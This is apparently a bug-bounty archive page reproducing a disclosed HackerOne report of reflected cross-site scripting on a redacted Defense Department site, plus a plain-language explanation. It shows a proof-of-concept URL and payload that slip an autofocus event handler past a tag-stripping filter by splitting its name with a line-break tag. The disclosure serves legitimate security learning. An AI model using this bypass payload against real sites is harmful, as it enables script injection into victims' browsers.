Skip to content
XSS Disclosed report Intermediate

XSS on https://████/ via ███████ parameter

A reflected cross-site scripting flaw existed in a parameter on the site, where a crafted URL caused script to run in the victim's browser. The reporter bypassed a filter that removed HTML tags by splitting a tag name with a line break.

homosec Follow

Originally disclosed on HackerOne

  • Triaged in 19 hours
  • Fixed in 8 days
  • Disclosed after 9 months

PoC

https://████████/██████=█████████%22%20o%3Cbr%3Enfocus=confirm(1337)%20autofocus%20tabindex=1%20xss

Payload

 o<br>nfocus=confirm(1337) autofocus tabindex=1 xss

WAF bypass Tags are removed from user input. It is allowed to bypass WAF. ███

Impact

XSS on https://████████/

System Host(s)

███

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Go to

https://█████/██████=████%22%20o%3Cbr%3Enfocus=confirm(1337)%20autofocus%20tabindex=1%20xss

Suggested Mitigation/Remediation Actions

The original report as published on HackerOne, by homosec. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could run script in a victim's browser via a crafted link, though the report only demonstrates a confirmation dialog.

What the attacker needed

Victim clicks a crafted link

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Cross-site scripting (XSS) is when a website takes something from a link and puts it into the page without cleaning it, so an attacker can make the page run their own code. Here the site tried to block this by removing HTML tags, but the attacker split the tag name with a line break so the filter missed it. Anyone who clicked the crafted link would see a pop-up, showing code could run.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by homosec

View all

6 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.